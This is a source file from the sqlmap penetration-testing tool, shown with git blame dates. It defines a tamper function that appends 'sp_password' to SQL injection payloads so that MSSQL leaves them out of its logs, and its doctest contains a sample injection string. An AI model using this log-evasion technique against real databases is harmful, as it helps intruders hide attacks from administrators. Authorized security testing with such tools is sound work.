sqlmap/tamper/sp_password.py

33 lines
825 B
Python
Raw Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2012-07-06 14:24:55 +04:00
"""
2021-09-08 22:01:41 +03:00
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
2012-07-06 14:24:55 +04:00
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
2012-12-03 17:27:01 +04:00
def tamper(payload, **kwargs):
2012-07-06 14:24:55 +04:00
"""
2018-07-31 02:17:11 +03:00
Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
2012-07-06 14:24:55 +04:00
Requirement:
* MSSQL
Notes:
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
* Reference: http://websec.ca/kb/sql_injection
>>> tamper('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
2012-07-06 14:24:55 +04:00
"""
retVal = ""
if payload:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
return retVal